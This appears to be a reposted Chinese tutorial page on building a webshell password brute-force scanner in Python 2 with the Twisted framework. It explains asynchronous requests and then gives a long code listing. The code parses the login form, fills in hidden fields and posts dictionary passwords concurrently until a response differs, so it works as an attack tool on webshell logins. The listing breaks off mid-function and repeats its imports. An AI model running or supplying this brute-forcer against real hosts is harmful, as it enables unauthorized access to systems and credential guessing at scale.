• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >python > 利用Python的Twisted框架实现webshell密码扫描器的教程

利用Python的Twisted框架实现webshell密码扫描器的教程

作者: 字体:[增加 减小] 来源:互联网

通过本文主要向大家介绍了python twisted,python twisted下载,python twisted安装,twisted python3.5,twisted python3等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。

     iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。

    同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。

     异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。

      具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术

1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser

 2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下

  cj = cookielib.CookieJar() 
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
  req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
  resp = opener.open(req, timeout=60)  
   
  strlist = resp.read() 

</div>

 代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典

3.异步的页面请求,这里用了twisted的getpage片段如下:

  self.PostDATA[self.passw] = passl 
    #print temp 
  zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers) 
  zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)  

</div>

 可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)

以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass

4.协程并发,代码如下:

    def InitTask(self): 
      for passl in self.passlist[:]: 
        d = self.addURL(passl) 
        yield d 
   
  def DoTask(self): 
      deferreds = [] 
      coop = task.Cooperator() 
      work = self.InitTask() 
      for i in xrange(self.ThreadNum): 
        d = coop.coiterate(work) 
        deferreds.append(d) 
      dl = defer.DeferredList(deferreds) 

</div>

就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个

  

 # -*- coding: utf-8 -*- 
  #coding=utf-8 
   
   
  # 
  # 
  # code by icefish 
  # http://insight-labs.org/ 
  # http://wcf1987.iteye.com/ 
  # 
  from twisted.internet import iocpreactor 
  iocpreactor.install() 
  from twisted.web.client import getPage 
  from twisted.internet import defer, task 
  from twisted.internet import reactor 
  import os 
  from httplib import HTTPConnection 
  import urllib   
  import urllib2   
  import sys 
  import cookielib 
  import time   
  import threading 
  from Queue import LifoQueue 
  #import httplib2 
  from sgmllib import SGMLParser  
  import os 
  from httplib import HTTPConnection 
  import urllib   
  import urllib2   
  import sys 
  import cookielib 
  import time   
  import threading 
  from Queue import LifoQueue 
  from sgmllib import SGMLParser  
   
  class URLLister(SGMLParser):  
    def __init__(self): 
      SGMLParser.__init__(self) 
      self.input = {} 
    def start_input(self, attrs):  
      #print attrs 
       
      for k, v in attrs: 
        if k == 'type': 
          type = v 
        if k == 'name': 
          name = v 
        if k == 'value': 
          value = v 
      if type == 'hidden' and value != None: 
        self.input[name] = value 
      if type == 'password' : 
        self.input['icekey'] = name 
   
  class webShellPassScan(object): 
    def __init__(self, url, dict): 
      self.url = url 
      self.ThreadNum = 10 
      self.dict = dict 
    def getInput(self, url): 
      html, c = self.PostUrl(url, '') 
      parse = URLLister() 
      parse.feed(html) 
      return parse.input 
       
    def PostUrl(self, url, bodyfieleds): 
      try:   
     
        cj = cookielib.CookieJar() 
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
        req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
        resp = opener.open(req, timeout=60)  
        
        strlist = resp.read() 
        cookies = [] 
        for c in cj: 
          cookies.append(c.name + '=' + c.value) 
         
        return strlist, cookies 
      except : 
     
        return '' 
       
   
    def parse_page(self, data, url, passk): 
      #print url 
       
      self.TestNum = self.TestNum + 1 
      if data != self.sret and len(data) != 0 and data != 'iceerror': 
        self.timeEnd = time.time() 
        print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd)) 
        print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's' 
        print 'total Scan Passwords:' + str(self.TestNum) 
        print "*************************the key pass***************************\n" 
        print passk  
        print "*************************the key pass***************************\n" 
        reactor.stop() 
             
             
         
      if self.TestNum % 1000 == 0: 
            #print TestNum 
            sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n') 
            sys.stdout.flush() 
   
   
    def fetch_error(self, error, url, passl): 
      self.addURL(passl) 
    def run(self): 
   
        self.timeStart = 0 
        self.timeEnd = 0 
        self.TestNum = 0 
        self.sret = '' 
        print '\n\ndetect the WebShell URL:' + self.url 
        self.PassNum = 0 
     
        self.timeStart = time.time() 
        print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart)) 
        filepath = os.path.abspath(os.curdir) 
        file = open(filepath + "\\" + self.dict) 
        self.passlist = [] 
         
        for lines in file:       
          self.passlist.append(lines.strip()) 
          #print lines.strip()  
        file.close() 
        PassNum = len(self.passlist) 
        print 'get passwords num:' + str(PassNum) 
         
        inputdic = self.getInput(self.url) 
        self.passw = inputdic['icekey'] 
        del inputdic['icekey'] 
        self.PostDATA = dict({self.passw:'icekey'}, **inputdic) 
        self.sret, cookies = self.PostUrl(self.url, self.PostDATA)  
        self.headers = {'Content-Type':'application/x-www-form-urlencoded'} 
        self.headers['cookies'] = cookies 
        print 'cookies:' + str(cookies) 
         
        self.DoTask() 
        #self.DoTask2() 
        #self.DoTask3() 
        print 'start run' 
        self.key = 'start' 
        reactor.run() 
         
    def InitTask(self): 
      for passl in self.passlist[:]: 
        d = self.addURL(passl) 
        yield d 
       
   
    def InitTask2(self): 
      for passl in self.passlist[:]: 
        d = self.sem.run(self.addURL, passl) 
        self.deferreds.append(d) 
         
    def InitTask3(self): 
      for passl in self.passlist[:]: 
        d = self.addURL(passl)       
        self.deferreds.append(d) 
   
    def DoTask(self): 
      deferreds = [] 
      coop = task.Cooperator() 
      work = self.InitTask() 
      for i in xrange(self.ThreadNum): 

  


 

您可能想查找下面的文章:

  • Python 基于Twisted框架的文件夹网络传输源码
  • 剖析Python的Twisted框架的核心特性
  • 实例解析Python的Twisted框架中Deferred对象的用法
  • 详解Python的Twisted框架中reactor事件管理器的用法
  • 使用Python的Twisted框架编写非阻塞程序的代码示例
  • Python的Twisted框架中使用Deferred对象来管理回调函数
  • 使用Python的Twisted框架构建非阻塞下载程序的实例教程
  • Python的Twisted框架上手前所必须了解的异步编程思想
  • 使用Python的Treq on Twisted来进行HTTP压力测试
  • 利用Python的Twisted框架实现webshell密码扫描器的教程

相关文章

  • Python使用BeautifulSoup库解析HTML基本使用教程
  • 浅谈function(函数)中的动态参数
  • Python中的字符串类型基本知识学习教程
  • python进程类subprocess的一些操作方法例子
  • jupyter安装小结
  • python每隔N秒运行指定函数的方法
  • 利用python爬取软考试题之ip自动代理
  • Python获取暗黑破坏神3战网前1000命位玩家的英雄技能统计
  • Python中字符串的格式化方法小结
  • python去掉字符串中重复字符的方法

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • 视觉直观感受若干常用排序算法
    • python处理大数字的方法
    • 详解Python命令行解析工具Argparse
    • Python库urllib与urllib2主要区别分析
    • Python数据库的连接实现方法与注意事项
    • 简单介绍Python中的len()函数的使用
    • 详细讲解Python中的文件I/O操作
    • python脚本设置系统时间的两种方法
    • python fabric实现远程部署
    • python笔记(1) 关于我们应不应该继续学习python

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有